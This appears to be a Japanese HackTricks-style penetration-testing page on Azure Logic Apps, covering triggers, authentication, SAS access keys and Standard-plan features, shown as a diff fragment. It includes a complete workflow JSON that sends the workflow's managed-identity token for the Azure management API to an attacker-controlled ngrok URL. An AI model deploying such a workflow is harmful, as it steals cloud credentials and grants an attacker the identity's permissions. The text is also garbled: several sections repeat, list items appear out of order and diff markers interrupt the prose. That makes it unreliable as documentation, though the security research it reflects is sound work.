ワークフローには異なる**トリガー**があります。これらのトリガーは、ワークフローが従うステップです。トリガーには、そのトリガーのタイプに応じて異なるパラメータがあります
- 接続名
- **認証タイプ**は、アクセスキー、Microsoft Entra ID、統合サービスプリンシパル認証、Logic Apps管理IDなどがあります。
ワークフローのトリガーは、**ワークフローが開始されるべき時**を示します。トリガーはHTTPエンドポイント、スケジュール、またはAzureや外部アプリからの数十の異なるイベントである可能性があります
トリガーにはさまざまな設定もあります:
- スキーマ検証:受信データが事前定義された構造に従っていることを確認します。
- 同時実行制御:並行実行の数を制限します。
- トリガー条件:トリガーが発火する前に満たす必要がある条件です。
- ネットワーキング:データ転送のチャンクサイズを構成し、応答内のワークフローヘッダーを抑制することを許可します。
- **セキュリティ**:ログや出力内の機密データを隠すために**セキュア入力/出力を有効にします**。
各ワークフローには異なる**アクション**があります。これらのアクションは、ワークフローが従うステップです。アクションに応じて、次のような異なるパラメータが設定可能です:
**設定とAPI接続**
- **接続名**:アクションが相互作用するために使用する接続。
- **認証タイプ**異なるオプションは、アクセスキー、Microsoft Entra ID、統合サービスプリンシパル認証、およびLogic Apps管理IDです。
- 読み取り専用の観点から、**認証**データは常に興味深いものであり、機密情報を含む可能性があります。
- 書き込みの観点から、**認証**データは常に興味深いものであり、割り当てられた管理IDの権限を使用できる可能性があります。
- ...
ワークフローには、次のような異なる設定があります:
- 許可された受信IPアドレスこの設定により、Logic Appをトリガーまたは開始できる人を制限できます。オプションは、任意のIP、他のLogic Appsのみ、特定のIP範囲です。
- 統合アカウントここで、Logic Appを統合アカウントにリンクできます。
- 高スループットこの設定により、Logic Appがより多くのリクエストを迅速に処理できるようになります。
- 実行履歴保持Logic Appの実行履歴が保持される期間です。
アクションには、アクション自体に依存するさまざまな**設定**もあります。最も一般的な設定のいくつかは次のとおりです:
ワークフローが持つ異なるAPI接続を確認できます。これらの接続のそれぞれには異なるプロパティがあり、認証タイプを変更できるAPI接続を編集する可能性があります。
- **再試行ポリシー**:再試行の回数とその間隔を設定します。
- **タイムアウト**:アクションがタイムアウトする前に実行できる最大時間を設定します。
- **実行後**:アクションが実行される前に満たすべき条件を指定します。
- **スキーマ検証**:受信データが事前定義された構造に従っていることを確認します。
- **ネットワーキング**:異なるヘッダーを管理する方法を設定します。
- **セキュア入力/出力**:これにより、実行履歴から入力/出力データが隠されます。
- ...
**履歴とバージョン:**
異なる実行の**履歴**にアクセスするオプションがあり、設定、出力、パラメータ、コードが表示されます。
### 認可ポリシー
また、ワークフローの異なる**バージョン**にアクセスするオプションがあり、コードを確認し、現在のワークフローを古いバージョンに変更できます
**認証:**
Azure Logic Appsは、リクエストベースのトリガーを保護するためにEntra IDを使用した**認証ポリシー**をサポートしています。有効なアクセストークンを要求する必要があります。このトークンには特定のクレームが含まれている必要があります
- 発行者issアイデンティティプロバイダーを検証するため
- 対象audトークンがLogic Appを対象としていることを確認するため
- 主体sub呼び出し元を特定するため
- JWT IDJSON Web Token識別子
これらのワークフローは、Entra IDを使用した**認可ポリシー**をサポートし、有効なアクセストークンを要求することでリクエストベースのトリガーを保護します。このトークンには特定のクレームが含まれている必要があります
- 発行者 (iss) は、アイデンティティプロバイダーを検証します
- 対象 (aud) は、トークンがLogic Appを対象としていることを確認します
- 主題 (sub) は、呼び出し元を特定します
- JWT ID (JSON Web Token識別子)
- カスタムクレーム
リクエストが受信されると、Logic Appsはこれらのクレームに対してトークンを検証し、構成されたポリシーと一致する場合にのみ実行を許可します。これにより、別のテナントがワークフローをトリガーすることを許可したり、他のソースからのトリガーを拒否したりすることができます。たとえば、https://login.microsoftonline.com/からのトリガーのみを許可することができます。
**アクセスキー**
リクエストベースのトリガーを初めて保存すると、Logic Appsは自動的にワークフローを呼び出す権限を付与するSAS署名を持つ一意のエンドポイントを作成します。このSAS署名は、トリガーのURLに埋め込まれています。このキーは再生成でき、新しいSAS署名が付与されますが、キーはリストできません。
### アクセスキー
アクセスキーを使用して呼び出すためのURL
ワークフローは、作成時に**2つのアクセスキー**を生成します。これらのキーは、ワークフローへのリクエストを認証および承認するために使用されます。キーは、リクエストURLに含まれる共有アクセス署名SASトークンを生成するために使用されます。
したがって、HTTPエンドポイントトリガーが作成されると、ワークフローを呼び出す権限を付与する**SAS署名付きのユニークなHTTPエンドポイント**が生成されます。
これらの**キーは再生成可能**であり、これらのトリガー用に新しいSAS URLが作成されますが、**キーの値にはアクセスできません**。
トリガーを呼び出すためのSAS URLの例
```
https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>
```
### ワークフロー設定とコンポーネント
- **トリガーアクセスオプション**: この設定により、ワークフローをトリガーまたは開始できる人を制限できます。オプションは、Any IP、Only other workflow、Specific IP rangesです。
- **統合アカウント**: ワークフローを統合アカウントにリンクします。
- **高スループット**: 有効にすると、より多くのリクエストを並行して迅速に処理できます。
- **実行履歴保持**: これは、実行履歴を保持する日数を示します。
- **API接続**: これは、ワークフローが持つ異なるAPI接続を示します。これらの接続のそれぞれには異なるプロパティがあり、認証タイプを変更できるAPI接続を編集する可能性があります。
- **履歴**: 古い実行の**履歴**にアクセスし、データを取得するオプションがあります: 設定、出力、パラメータ、およびコード。
- **バージョン**: ワークフローの異なる**バージョン**にアクセスするオプションがあり、コードを確認し、現在のワークフローを古いバージョンに変更できます。
- **マネージドID**: ワークフローに1つのシステムマネージドIDとサーバーユーザーマネージドIDを割り当てることが可能です。
### MIアクセストークンの漏洩
ワークフロー内のHTTPアクションは、外部ウェブにデータを送信するために使用できます。HTTPアクションの**高度なパラメータ**で、**認証タイプ**を**`Managed identity`**として設定し、使用する**割り当てられたマネージドID**(システムまたはユーザー)を選択できます。
さらに、生成されたJWTのオーディエンスを**`Audience`**で指定することが可能で、例えば**`https://management.azure.com/`**を指定することで、生成されたトークンを使用してAzure管理APIにアクセスできます。
> [!WARNING]
> 攻撃者が制御するサーバーにHTTPリクエストを送信するようにアクションを設定すると、ワークフローに割り当てられたマネージドIDの**アクセストークンが漏洩する**可能性があります。
> [!TIP]
> 攻撃者は、他のタイプのアクションを使用して**他のAzureサービスに直接アクセスし**、マネージドIDの権限でアクションを実行することもできます。
これは、HTTPエンドポイントを公開し、HTTPアクションを使用して設定されたURLこの場合はngrokにアクセストークンを漏洩させるワークフローのコードです
<details>
<summary>ワークフローコード</summary>
```json
{
"definition": {
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
"contentVersion": "1.0.0.0",
"triggers": {
"When_a_HTTP_request_is_received": {
"type": "Request",
"kind": "Http"
}
},
"actions": {
"HTTP": {
"runAfter": {},
"type": "Http",
"inputs": {
"uri": "https://22b6-81-33-70-107.ngrok-free.app",
"method": "GET",
"authentication": {
"type": "ManagedServiceIdentity",
"audience": "https://management.azure.com/"
}
},
"runtimeConfiguration": {
"contentTransfer": {
"transferMode": "Chunked"
}
}
}
},
"outputs": {},
"parameters": {
"$connections": {
"type": "Object",
"defaultValue": {}
}
}
},
"parameters": {
"$connections": {
"type": "Object",
"value": {}
}
}
}
```
</details>
## Logic Apps / Standard Plan
### "Single" ワークフローとの違い
Logic Appsは基本的にバックグラウンドでApp Serviceを使用して**複数のワークフローをホストできるロジックアプリをホストします**。これは、ロジックアプリがApp Serviceと"Single"ワークフローのすべての機能を持つことを意味します。
いくつかの主要な機能は次のとおりです:
- **App Service プラン**: StandardプランのLogic AppsはApp Serviceプラン上にホストされているため、次のようなすべてのApp Service機能を使用できます
- **ネットワーク制限**: アクセス可能な場所を指定します。
- **デプロイメントセンター**: Github、Bitbucket、Azure Repos、External Git、Local Gitなどの外部プラットフォームからデプロイします。
- **FTPアクセス**: FTPを通じてLogic Appのファイルにアクセスできます。
- **ストレージアカウント**: サービスアプリは情報を保存するためにストレージアカウントを使用します。
- **環境変数とアプリ設定**: 環境変数とアプリ設定を構成でき(ストレージアカウントへのアクセスキーなどの機密情報を見つけることができます)、...
- **パラメータ**: パラメータを使用すると、開発、テスト、製品で異なる値を管理できます。これにより、最初にワークフローを設計し、その後で環境固有の設定を簡単に調整できます。
- **専用リソース**: StandardプランのLogic Appsは専用リソースを持っています。
- **複数のワークフロー**: 複数のワークフローを作成できます。
App Servicesに関する詳細は次を確認してください
{{#ref}}
../az-services/az-app-services.md
{{#endref}}
### 列挙
@@ -203,19 +278,17 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<Lo
{{#endtab }}
{{#endtabs }}
## インテグレーションアカウント
**インテグレーションアカウント**は、Azure Logic Appsの機能です。インテグレーションアカウントは、EDI、AS2、XMLスキーマ管理などの高度なB2B機能を有効にすることで、エンタープライズレベルの統合を促進します。インテグレーションアカウントは、Logic Appsで使用される以下のアーティファクトを格納するAzureのコンテナです。
### インテグレーション アカウント
**インテグレーション アカウント**は、Azure Logic Appsの機能です。インテグレーション アカウントは、EDI、AS2、XMLスキーマ管理などの高度なB2B機能を有効にすることで、エンタープライズレベルの統合を促進します。インテグレーション アカウントは、Logic Appsで使用される以下のアーティファクトを格納するAzureのコンテナです。
* スキーマ: インテグレーション アカウント内のメッセージを検証および処理するためのXMLスキーマを管理します。
* マップ: インテグレーション ワークフロー内でデータ形式を変換するためのXSLTベースの変換を構成します
* アセンブリ: ロジックとデータ処理を効率化するためにインテグレーション アカウントのアセンブリを管理します。
* 証明書: メッセージの暗号化と署名のための証明書を扱い、安全な通信を確保します。
* パートナー: B2B取引のための取引先情報を管理し、シームレスな統合を可能にします。
* 合意: 取引先とのデータ交換のためのルールと設定を構成します(例: EDI、AS2
* バッチ構成: メッセージを効率的にグループ化して処理するためのバッチ処理構成を管理します。
* RosettaNet PIP: B2B通信を標準化するためのRosettaNetパートナーインターフェースプロセスPIPを構成します。
* **スキーマ**: インテグレーションアカウント内のメッセージを検証および処理するためのXMLスキーマを管理します。
* **マップ**: インテグレーションワークフロー内でデータ形式を変換するためのXSLTベースの変換を構成します。
* **アセンブリ**: ロジックとデータ処理を効率化するためにインテグレーションアカウントのアセンブリを管理します。
* **証明書**: メッセージの暗号化と署名のための証明書を扱い、安全な通信を確保します。
* **パートナー**: B2B取引のための取引先情報を管理し、シームレスな統合を可能にします。
* **合意**: 取引先とのデータ交換のためのルールと設定を構成しますEDI、AS2
* **バッチ構成**: メッセージを効率的にグループ化して処理するためのバッチ処理構成を管理します。
* **RosettaNet PIP**: B2B通信を標準化するためのRosettaNetパートナーインターフェースプロセスPIPを構成します。
#### 列挙
@@ -331,4 +404,10 @@ Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -Integra
../az-post-exploitation/az-logic-apps-post-exploitation.md
{{#endref}}
## 永続性
{{#ref}}
../az-persistence/az-logic-apps-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}